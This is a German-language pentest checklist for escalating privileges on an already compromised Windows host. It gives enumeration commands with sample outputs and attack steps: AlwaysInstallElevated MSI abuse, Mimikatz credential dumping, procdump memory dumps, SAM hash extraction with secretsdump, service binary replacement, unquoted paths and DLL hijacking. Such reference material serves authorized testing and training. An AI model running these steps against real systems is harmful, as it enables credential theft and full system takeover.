Privilege escalation

Übersicht

Diese Checkliste hilft dir, potenzielle Privilege Escalation Vektoren auf einem kompromittierten Windows-System zu identifizieren und auszunutzen. Basierend auf WinPEAS und manuellen Prüfungen deckt sie die häufigsten Schwachstellen und Exploit-Möglichkeiten ab. Mit den erwarteten Ausgaben kannst du direkt erkennen, wie ein System auf bestimmte Befehle reagieren sollte.


Checkliste: Local Windows Privilege Escalation

1. Systeminformationen

Systemdetails abrufen

systeminfo

Erwartete Ausgabe:

OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
System Type:               x64-based PC
  • Bedeutung: Alte oder ungepatchte Betriebssystemversionen können anfällig für Kernel-Exploits sein.

Kernel-Exploits prüfen

Nutze Tools wie WinPEAS:

.\winPEASx64.exe

Erwartete Ergebnisse:

  • WinPEAS listet bekannte Kernel-Schwachstellen basierend auf OS-Version und Patch-Level.

Umgebungsvariablen prüfen

Get-ChildItem Env:
  • Bedeutung: Sensible Informationen wie API-Schlüssel oder Passwörter könnten in den Umgebungsvariablen gespeichert sein.

Interessante Registry-Einträge prüfen

  • AlwaysInstallElevated aktiv?

    reg query HKLM\Software\Policies\Microsoft\Windows\Installer

    Erwartete Ausgabe:

    AlwaysInstallElevated    REG_DWORD    0x1

    Bedeutung: Wenn dieser Wert auf 1 steht, können .msi-Dateien mit System-Rechten ausgeführt werden:

    msiexec /quiet /qn /i malicious.msi

2. Logging/AV Enumeration

Audit- und WEF-Einstellungen

auditpol /get /category:*
  • Bedeutung: Schwache Logging-Einstellungen könnten deine Aktionen unerkannt lassen.

WDigest prüfen

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

Erwartete Ausgabe:

UseLogonCredential    REG_DWORD    0x1
  • Bedeutung: Wenn aktiv, könnten Anmeldedaten im Klartext im Speicher gespeichert sein. Nutze Mimikatz:

    sekurlsa::logonpasswords

3. Benutzer und Berechtigungen

Benutzerrechte und Gruppen

whoami /priv

Erwartete Ausgabe:

Privilege Name                            State
========================================  ========
SeImpersonatePrivilege                    Enabled
  • Bedeutung: SeImpersonatePrivilege erlaubt Exploits wie JuicyPotato oder PrintSpoofer, um SYSTEM-Zugriff zu erhalten.


4. Dienste

Schwache Dienste identifizieren

Prüfe Dienste, deren Binärdateien oder Konfiguration modifiziert werden können:

sc qc <service_name>

Erwartete Ausgabe:

BINARY_PATH_NAME   : C:\Program Files\Vulnerable\service.exe
  • Bedeutung: Wenn BINARY_PATH_NAME modifizierbar ist, ersetze die Datei durch eine bösartige Payload.

Unquoted Service Paths

Prüfe ungesicherte Pfade:

wmic service get name,pathname,startmode | findstr /i "auto"

Erwartete Ausgabe:

C:\Program Files\Unquoted Path\Service.exe
  • Angriff: Erstelle eine ausführbare Datei in einem Teil des Pfades, z. B. C:\Program.exe.


5. Prozesse

Interessante Prozesse identifizieren

Suche nach Prozessen, die mit privilegierten Rechten laufen:

tasklist /v
  • Bedeutung: Zielprozesse könnten sensible Daten wie Passwörter enthalten. Verwende Tools wie ProcDump:

    procdump.exe -ma <pid> dump.dmp

Passwörter im Speicher suchen

Nutze Mimikatz oder ähnliche Tools:

sekurlsa::logonpasswords

6. Netzwerk

Netzwerkverbindungen prüfen

netstat -ano
  • Bedeutung: Prüfe auf Dienste, die nur lokal lauschen. Lokale Dienste wie RDP oder HTTP könnten über Tunnel genutzt werden.

Netzwerkfreigaben prüfen

net view \\<hostname>
  • Bedeutung: Finde sensible Dateien oder Ordner in Netzwerkfreigaben.


7. Dateien und Registry

SAM & SYSTEM-Backups

Prüfe, ob Backups der Registry existieren:

dir C:\Windows\System32\config\RegBack

Angriff: Extrahiere Hashes mit Tools wie secretsdump:

secretsdump.py -sam SAM -system SYSTEM LOCAL

Konfigurationsdateien durchsuchen

Prüfe auf Passwörter oder Schlüssel in Web- oder Applikationskonfigurationen:

findstr /si password *.config

8. DLL Hijacking

Schwache DLL-Pfade

Prüfe, ob ein Dienst DLLs aus unsicheren Pfaden lädt:

procmon.exe
  • Angriff: Erstelle eine bösartige DLL und lege sie in den unsicheren Pfad.


9. Windows Credentials

Winlogon-Credentials prüfen

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Erwartete Ausgabe:

DefaultUserName    REG_SZ    Administrator
DefaultPassword    REG_SZ    SuperSecretPassword

RDP-Verbindungen

Prüfe gespeicherte RDP-Verbindungen:

reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

Tools für Automatisierung

  • WinPEAS: Automatische Privilege Escalation Enumeration:

    .\winPEASx64.exe
  • PowerUp: Prüfe spezifische Privilege Escalation-Szenarien:

    Import-Module .\PowerUp.ps1
    Invoke-AllChecks

Last updated